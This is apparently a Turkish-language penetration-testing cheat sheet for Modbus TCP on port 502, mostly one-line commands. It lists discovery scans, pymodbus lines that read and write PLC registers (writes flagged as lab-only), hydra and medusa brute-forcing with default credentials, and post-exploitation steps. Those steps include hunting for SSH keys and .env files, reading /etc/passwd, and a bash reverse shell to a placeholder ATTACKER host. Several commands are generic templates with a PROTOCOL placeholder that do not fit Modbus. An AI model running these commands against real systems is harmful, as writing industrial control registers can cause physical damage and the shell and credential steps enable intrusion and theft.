Skip to content

502 - Pentesting Modbus

Modbus ot

Modbus TCP PLC register erişimidir. Auth yoktur; yazma fiziksel etki demektir. Hedef lab IP’si üzerinde komutları 502 portuna göre uyarla; her başarıyı ayrı kanıtla.

  1. 502 doğrula.

  2. Unit ID tarama.

  3. Read coils/registers.

  4. Write PoC.

Terminal window
nmap -Pn -sV -p502 TARGET
Terminal window
nmap -Pn -p502 --script modbus-discover TARGET
Terminal window
python3 -c 'from pymodbus.client import ModbusTcpClient;c=ModbusTcpClient("TARGET");print(c.connect())'
Terminal window
python3 modbus_read.py TARGET
Terminal window
python3 -c 'from pymodbus.client import ModbusTcpClient;c=ModbusTcpClient("TARGET");c.connect();c.write_register(0,1)'
safety-critical — lab only

Modbus için ek keşif ve fingerprint.

Terminal window
nmap -Pn -sV -sC -p502 TARGET
Terminal window
nmap -Pn -p502 --script safe,discovery TARGET
Terminal window
timeout 5 bash -c 'echo | openssl s_client -connect TARGET:502' 2>/dev/null | head
Terminal window
python3 -c "import socket;s=socket.create_connection(('TARGET',502));s.settimeout(3);print(s.recv(4096))"
Banner / TLS / ALPN notları → Modbus
Terminal window
hydra -L users.txt -P rockyou.txt -s 502 PROTOCOL://TARGET -t 4
Terminal window
medusa -h TARGET -U users.txt -P rockyou.txt -M PROTOCOL -n 502
Terminal window
nmap -p502 --script '*-brute' TARGET
admin/admin, root/root, guest/(boş), test/test
Terminal window
searchsploit Modbus
Terminal window
msfconsole -q -x 'search Modbus; exit'
Terminal window
nuclei -u https://TARGET:502 -t cves/ -silent -severity || true
Terminal window
nuclei -u http://TARGET:502 -tags tech -silent || true
Terminal window
nc -nv TARGET 502
Terminal window
printf '
' | timeout 3 nc -nv TARGET 502
Terminal window
curl -vk --http1.0 http://TARGET:502/
Wireshark/tcpdump ile konuşmayı kaydet; replay dene
config, key, session, env, backup
Terminal window
find / -name '*.conf' -o -name '*.env' -o -name 'id_rsa' 2>/dev/null | head
Terminal window
ss -lntp; ip a; cat /etc/passwd | head
Terminal window
bash -i >& /dev/tcp/ATTACKER/443 0>&1
Terminal window
mkdir -p loot && tee loot/notes.txt
[ ] Fingerprint / sürüm
[ ] Auth ve anonim erişim
[ ] PoC etki gösterildi
[ ] Credential/shell paketlendi
[ ] Pivot notu
discover → read maps → write registers